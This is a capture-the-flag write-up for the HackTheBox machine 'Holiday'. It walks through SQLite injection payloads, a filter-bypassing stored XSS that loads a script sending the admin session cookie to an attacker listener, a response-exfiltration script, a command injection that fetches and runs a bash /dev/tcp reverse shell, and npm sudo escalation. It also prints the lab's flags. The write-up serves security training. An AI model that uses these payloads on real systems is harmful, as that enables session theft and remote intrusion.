HackTheBox Holiday
Writeup for HackTheBox Holiday
Machine Synopsis
Holiday is definitely one of the more challenging machines on HackTheBox. It touches on many different subjects and demonstrates the severity of stored XSS, which is leveraged to steal the session of an interactive user. The machine is very unique and provides an excellent learning experience. (Source)
Key Exploitation Techniques:
- SQL Injection (Blind and Error-based, SQLite)
- Stored Cross-Site Scripting (XSS) with filter bypasses (HTML entity encoding, quote filtering bypass,
String.fromCharCode
) - Session Hijacking via XSS (cookie exfiltration)
- Command Injection (HTTP request parameters,
&
instead of;
, IP to Hex bypass) - Sudo Privilege Escalation via
npm
(NOPASSWD
rule)
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ nmap -p- --min-rate 10000 10.10.10.25
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
❯ nmap -p 22,8000 -sC -sV 10.10.10.25
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c3:aa:3d:bd:0e:01:46:c9:6b:46:73:f3:d1:ba:ce:f2 (RSA)
| 256 b5:67:f5:eb:8d:11:e9:0f:dd:f4:52:25:9f:b1:2f:23 (ECDSA)
|_ 256 79:e9:78:96:c5:a8:f4:02:83:90:58:3f:e5:8d:fa:98 (ED25519)
8000/tcp open http Node.js Express framework
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
dirsearch
on port 8000 revealed /admin
and /login
endpoints.
1
2
3
4
5
❯ dirsearch -u http://10.10.10.25:8000
...
302 - 28B - /admin -> /login
200 - 1KB - /login
...
Initial login attempts with common credentials failed.
Exploitation
Credential Discovery: SQL Injection (SQLite)
The login page was vulnerable to SQL Injection. sqlmap
was used to automate the discovery and exploitation process. The login request was saved to login_req
.
1
2
3
4
5
6
7
8
9
10
11
❯ sqlmap -r login_req --risk=3 --level=5 -T users --dump --threads 10
...
[17:05:44] [INFO] the back-end DBMS is SQLite
web application technology: Express
back-end DBMS: SQLite
...
+----+--------+----------------------------------+----------+
| id | active | password | username |
+----+--------+----------------------------------+----------+
| 1 | 1 | fdc8cd4cff2c19e0d1022e78481ddf36 | RickA |
+----+--------+----------------------------------+----------+
The back-end DBMS was identified as SQLite. The dumped hash fdc8cd4cff2c19e0d1022e78481ddf36
was cracked on CrackStation to nevergonnagiveyouup
.
Manual SQLi (Illustrative)
Alternatively, manual testing could confirm the SQLi and enumerate data. The SQL query structure was likely
SELECT ... FROM users WHERE ((username="input"))
. An input likeusername=admin"))-- -&password=admin
would bypass authentication, indicated by an “Error Occurred” message instead of “Invalid User.”To find the number of columns:
username=admin")) order by 4-- -&password=admin
To confirm column display order and SQLite version:
username=admin")) union select 1,sqlite_version(),3,4-- -&password=admin
To list table names from
sqlite_master
:username=admin")) union select 1,group_concat(tbl_name),3,4 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'-- -&password=admin
To get column names for the
users
table:username=admin")) union select 1,group_concat(sql),3,4 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'-- -&password=admin
To dump user data:
username=admin")) union select 1,group_concat(username),3,4 FROM users-- -&password=admin
username=admin")) union select 1,group_concat(password),3,4 FROM users-- -&password=admin
Initial Access: Stored XSS & Session Hijacking (algernon)
Login to the Booking Management portal using RickA:nevergonnagiveyouup
was successful. The dashboard showed various details.
Clicking a UUID displayed specific booking details, including a “Notes” tab.
The notes input had a message: “All notes must be approved by an administrator - this process can take up to 1 minute.” This suggested a stored XSS vulnerability.
Initial XSS payloads were filtered:
<script>alert(1)</script>
resulted in HTML entities:<script>alert(1)</script>
.<img src=1 href=1 onerror="javascript:alert(1)"></img>
resulted in<img src=1></img>
, showing<img>
tags were accepted.
A simple <img>
tag with an external source confirmed callbacks from the server:
1
<img src='http://10.10.16.23/test.jpg' />
1
2
3
4
# Attacker machine: Host HTTP server
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.25 - - "GET /test.jpg HTTP/1.1" 404 -
A subsequent payload, <img src="x/><script></script>">
, resulted in <img src=x/><script></script>>
, indicating script
tags could be embedded. Single and double quotes were filtered, requiring encoded payloads.
The final XSS payload used eval(String.fromCharCode(...))
to bypass quote filtering and load an external JavaScript file (cookie.js
) designed to exfiltrate the admin’s session cookie.
Encoded JavaScript payload: document.write('<script src="http://10.10.16.23/cookie.js"></script>');
Final XSS payload submitted to notes:
1
<img src="x/><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,50,51,47,99,111,111,107,105,112,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59))</script>">
The cookie.js
file, hosted on the attacker machine, collected the connect.sid
cookie and sent it to a netcat
listener.
1
2
3
4
5
6
7
8
9
❯ cat cookie.js
window.addEventListener('DOMContentLoaded', function(e) {
window.location = "http://10.10.16.23:8888/?cookie=" + encodeURI(document.getElementsByName("cookie")[0].value)
})
# Attacker machine
❯ python3 -m http.server 80
❯ nc -nlvp 8888
listening on [any] 8888 ...
After the administrator approved the note (within a minute), the listener received the session cookie.
1
2
3
4
connect to [10.10.16.23] from (UNKNOWN) [10.10.10.25] 48836
GET /?cookie=connect.sid=s%253A457e3d80-e62e-11ef-bd43-cf9e0fb0879d.8VCVvWUEWXnuWeseitCbJAVfds2XHDwxLqSEto5YXug HTTP/1.1
...
Host: 10.10.16.23:8888
The connect.sid
cookie was s%3A457e3d80-e62e-11ef-bd43-cf9e0fb0879d.8VCVvWUEWXnuWeseitCbJAVfds2XHDwxLqSEto5YXug
. This admin session cookie was then used to replace the current session token in the browser, allowing access to the /admin
tab.
An alternative JavaScript payload can exfiltrate entire HTTP responses using
XMLHttpRequest
. This is useful for obtaining page content directly.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // response.js // Send a GET request to fetch data from the local server var req1 = new XMLHttpRequest(); req1.open('GET', 'http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65', false); req1.send(); // Store the response from the server var response = req1.responseText; // Send a POST request to forward the retrieved data to our server var req2 = new XMLHttpRequest(); req2.open('POST', '[http://10.10.16.23:8888/response](http://10.10.16.23:8888/response)', true); req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); // Encode and send the response data var encodedResponse = encodeURIComponent(response); req2.send(encodedResponse);
Initial Access: Command Injection (algernon)
From the /admin
dashboard, an “Export” function was available, allowing export of bookings and notes.
1
2
3
4
5
6
7
8
❯ cat export-bookings-1739028438045
1|e2d3f450-bdf3-4c0a-8165-e8517c94df9a|Wilber Schowalter|A697I|Werner.Walsh56
@gmail.com|183.0|1497933864607|1498458169878|Alishabury
...
❯ cat export-notes-1739028439288
1|31|<script>alert(1)</script>|1739017725407|1
...
Intercepting the export request in Burp Suite and attempting command injection showed a filter allowing only [a-z0-9&\s\/]
characters. This meant common command separators like ;
were blocked.
However, &
(URL-encoded as %26
) was permitted.
Due to the filter preventing dots (.
), direct IPv4 addresses (e.g., 10.10.16.23
) could not be used. The IP address was converted to its hexadecimal representation (0a0a1017
for 10.10.16.23
) which bash
can resolve.
1
2
3
4
5
# 10.10.16.23 --> 0a.0a.10.17 (0x0a0a1017)
❯ ping 0x0a0a1017
PING 0x0a0a1017 (10.10.16.23) 56(84) bytes of data.
64 bytes from 10.10.16.23: icmp_seq=1 ttl=64 time=0.042 ms
64 bytes from 10.10.16.23: icmp_seq=2 ttl=64 time=0.090 ms
A simple reverse shell script (rev
) was prepared:
1
2
3
4
❯ cat rev
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.23/443 0>&1
1
2
3
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.25 - - "GET /rev HTTP/1.1" 200 -
The command injection was performed by appending &bash rev
to the table
parameter in the GET request, triggering the download and execution of the reverse shell.
1
2
3
GET /admin/export?table=bookings%26bash+rev HTTP/1.1
Host: 10.10.10.25:8000
...
A netcat
listener on port 443 caught the reverse shell connection, providing a shell as algernon
.
1
2
3
4
5
6
7
8
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.10.25] 36188
algernon@holiday:~/app$ whoami
algernon
algernon@holiday:~/app$ cd /home/algernon
algernon@holiday:~$ cat user.txt
54fc61db1ef37e5f0649c540f97cae32
The user.txt
flag was retrieved.
Privilege Escalation
Enumeration of algernon
’s sudo
privileges revealed a NOPASSWD rule for npm
.
1
2
3
4
5
6
7
algernon@holiday:~$ sudo -l
Matching Defaults entries for algernon on holiday:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User algernon may run the following commands on holiday:
(ALL) NOPASSWD: /usr/bin/npm i *
This configuration allows algernon
to run /usr/bin/npm i *
as root without a password. This can be exploited by using a malicious package.json
file, as documented on GTFOBins for npm
.
A package.json
was created with a preinstall
script to execute /bin/sh
.
1
2
❯ cat package.json
{"scripts": {"preinstall": "/bin/sh"}}
This package.json
was transferred to the target’s /tmp
directory.
1
2
3
algernon@holiday:/tmp$ wget http://10.10.16.23/package.json -O package.json
algernon@holiday:/tmp$ cat package.json
{"scripts": {"preinstall": "/bin/sh"}}
Executing sudo /usr/bin/npm i --unsafe
in the directory containing the malicious package.json
triggered the preinstall
script, granting a root shell.
1
2
3
4
5
6
7
8
9
algernon@holiday:/tmp$ sudo /usr/bin/npm i --unsafe
> undefined preinstall /tmp
> /bin/sh
# whoami
root
# cat /root/root.txt
77006c4b20eeba12c59de4f7dbbd3221
The root.txt
flag was retrieved.